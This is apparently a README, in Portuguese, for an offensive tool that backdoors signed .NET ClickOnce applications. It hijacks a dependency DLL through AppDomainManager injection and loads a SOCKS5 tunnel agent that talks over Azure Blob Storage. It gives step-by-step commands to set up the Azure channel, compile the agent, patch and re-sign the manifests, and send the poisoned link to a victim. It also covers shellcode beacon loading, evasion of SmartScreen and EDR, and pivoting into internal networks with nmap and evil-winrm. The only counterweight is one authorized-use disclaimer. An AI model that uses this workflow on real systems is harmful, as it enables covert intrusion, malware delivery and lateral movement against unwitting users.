
Transforme aplicativos .NET ClickOnce assinados em armas para acesso inicial, sequestrando uma DLL de dependência por meio de injeção de AppDomainManager e carregando uma porta em C# do ProxyBlob Agent.

Arme aplicações .NET ClickOnce assinadas para acesso inicial, sequestrando uma DLL de dependência via injeção de AppDomainManager e carregando uma versão em C# do agente ProxyBlob. Acompanha uma versão em C# do ProxyBlob — um proxy SOCKS5 que tunela todo o tráfego através do Azure Blob Storage, misturando-se em ambientes onde *.blob.core.windows.net está na lista de permissões.
ClickOnce é a tecnologia de implantação com um clique da Microsoft para aplicações .NET. Quando um usuário clica em uma URL .application, o Windows baixa e executa o aplicativo sem exigir privilégios de administrador. O ataque:
.exe.config que instrui o CLR a carregar nossa DLL como AppDomainManagerO .exe hospedeiro permanece intacto e validamente assinado. O SmartScreen vê um binário conhecido. O EDR vê um processo confiável carregando módulos. Seu agente se comunica apenas com o Azure Blob Storage via HTTPS.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
Atacante (Linux/macOS):
Máquina de compilação (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe (detectado automaticamente)nuget.exe ao lado do script ou adicione ao PATH (necessário apenas para o modo --proxyblob)O script detecta automaticamente csc.exe e nuget.exe. Para --proxyblob, BouncyCastle e ILMerge são instalados automaticamente via NuGet na primeira execução em um diretório packages/ ao lado do script (persiste entre execuções).
O código do agente é neutro em relação à arquitetura (sem P/Invoke, sem shellcode). A flag --platform (passada para csc.exe /platform:) controla como o CLR o carrega:
Verifique uma aplicação alvo com corflags.exe TargetApp.exe para determinar sua plataforma.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
Ou use Azurite localmente:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
No shell do proxy:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

Salve essa string de conexão — ela vai para o agente.
Sempre verifique se o agente funciona de forma independente antes da integração com o ClickOnce.
Na máquina de compilação Windows:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
De volta ao proxy:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
Teste:
proxychains curl http://ipconfig.io
Se funcionar, prossiga para a integração com o ClickOnce.
Encontre uma aplicação ClickOnce alvo durante o recon (pesquise por URLs .application). Você precisa:
Baixe toda a implantação do ClickOnce:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

O script compila automaticamente o código-fonte C#, gerencia dependências NuGet (para --proxyblob), mescla ILMerge do BouncyCastle na DLL e corrige todos os manifestos — tudo em uma única execução:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

O script lida com: gerar o código-fonte C# com suas configurações embutidas, compilar via csc.exe, mesclar ILMerge do BouncyCastle (para --proxyblob), substituir a DLL, criar .exe.config com injeção AppDomainManager, adicionar ambos os arquivos aos manifestos, recalcular todos os hashes SHA256 e tamanhos de arquivo, remover assinaturas de código, zerar o publicKeyToken do fornecedor e atualizar a URL do provedor de implantação.
Substituição manual: Você ainda pode usar --payload para fornecer uma DLL pré-compilada (pula a compilação):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ Pegadinha do Nome do Assembly no ILMerge: ILMerge define o nome interno do assembly a partir do nome do arquivo de saída, não da entrada. Se você mesclar para
Foo_merged.dlle depois renomear o arquivo paraFoo.dll, o nome interno ainda seráFoo_merged— o CLR lê metadados, não o nome do arquivo. O.exe.confignão corresponderá, e a injeção AppDomainManager falha silenciosamente sem erro. O script lida com isso corretamente mesclando diretamente para o nome final.
# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

Ou use qualquer servidor web com esses tipos MIME configurados:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
Envie para a vítima: http://YOUR-SERVER/APPLICATION.application
Eles clicam em Instalar → o aplicativo executa → seu túnel SOCKS5 abre.

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start
# SOCKS5 on 127.0.0.1:1080
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains evil-winrm -i 10.0.0.50 -u admin -p password
proxychains curl http://internal-app.corp.local



Limpe entre implantações de teste:
rundll32 dfshim CleanOnlineAppCache
Para depuração, use primeiro ProxyBlobStandalone.cs — ele escreve logs detalhados no stderr mostrando tipos de pacotes, eventos de conexão e erros. Depois de confirmado o funcionamento, mude para ProxyBlobAgent.cs para integração com o ClickOnce.
O agente é uma adaptação fiel do agente Go ProxyBlob. Três bugs críticos foram encontrados e corrigidos durante a adaptação:
1. Ordem de Bytes do UUID — O uuid.UUID do Go armazena 16 bytes na ordem RFC 4122 (big-endian). O construtor Guid do .NET troca os primeiros 3 componentes para little-endian, causando incompatibilidades de ConnectionID na rede. Corrigido usando arrays brutos de byte[16].
2. XChaCha20-Poly1305 — O Go usa chacha20poly1305.NewX() = XChaCha20 com nonces de 24 bytes. O ChaCha20Poly1305 do BouncyCastle suporta apenas nonces IETF de 12 bytes. Corrigido implementando derivação de subchave HChaCha20:
subkey = HChaCha20(key, nonce[0:16]) // ChaCha20 quarter-rounds on key+nonce
ietf_nonce = 0x00000000 || nonce[16:24] // Remaining 8 bytes become IETF nonce
ciphertext = ChaCha20Poly1305(subkey, ietf_nonce, plaintext)
3. Preenchimento Base64 — O Go usa base64.RawStdEncoding (sem preenchimento =). O .NET requer preenchimento. Corrigido com preenchimento automático antes da decodificação.
Packet: [Command:1B][ConnectionID:16B][DataLength:4B BE][Payload:var]
Commands: NEW(0x01) ACK(0x02) DATA(0x03) CLOSE(0x04)
Key Exchange:
Proxy → Agent: CmdNew [nonce:24][pubkey:32]
Agent → Proxy: CmdAck [agentPubkey:32]
Symmetric key: HKDF-SHA3-256(X25519(privA, pubB), salt=nonce, info=nil)
Encryption: XChaCha20-Poly1305 on all CmdData payloads
Blob Transport:
info — username@hostname XOR 0xDEADB10B
request — proxy→agent (agent polls, reads, clears)
response — agent→proxy (agent writes, proxy reads, clears)
Polling: exponential backoff 50ms → 3s (×1.5)
*.blob.core.windows.net via HTTPS — mistura-se com tráfego legítimo do Azure.exe hospedeiro permanece validamente assinado — apenas a DLL de dependência e o .config são modificadosAPPLICATION)Esta ferramenta é apenas para testes de segurança autorizados e pesquisa. Use apenas contra sistemas para os quais você tenha permissão explícita por escrito para testar.
--platform | Executa no Windows x86 | Executa no Windows x64 | Quando usar |
|---|
x86 (padrão) | 32 bits | 32 bits (WoW64) | Aplicação alvo é x86 |
x64 | ✗ | 64 bits | Aplicação alvo é x64 |
anycpu | 32 bits | 64 bits | Teste autônomo, ou alvo é AnyCPU |
| Erro | Solução |
|---|
csc.exe not found | Instale .NET Framework 4.x ou adicione csc.exe ao PATH |
nuget.exe not found | Baixe do nuget.org, coloque ao lado do script ou adicione ao PATH |
CS0012: type 'Object' ... netstandard | Adicione /r:netstandard.dll ao comando csc |
Metadata file ... net461 ... not found | Use o caminho netstandard2.0 do BouncyCastle |
| Sintoma | Causa | Solução |
|---|
FileNotFoundException: BouncyCastle.Cryptography | DLL não embutida | Use ILMerge para criar uma única DLL |
| AppDomainManager not loading after ClickOnce run | Nome do assembly interno não corresponde | O nome do assembly deve corresponder a .exe.config. Verifique com ildasm /text Dll.dll | findstr ".assembly" |
| Agent exits with code 3 | String de conexão inválida ou expirada | Regenere com create no proxy |
| ClickOnce install fails silently | Hash do manifesto não corresponde | Execute novamente o script de automação ou recalcule os hashes SHA256 manualmente |
RefDefValidation error during install | Token de nome forte da DLL de terceiros zerado | O script zera apenas o token do fornecedor. Use --dll-name para definir o nome da DLL do payload, se necessário |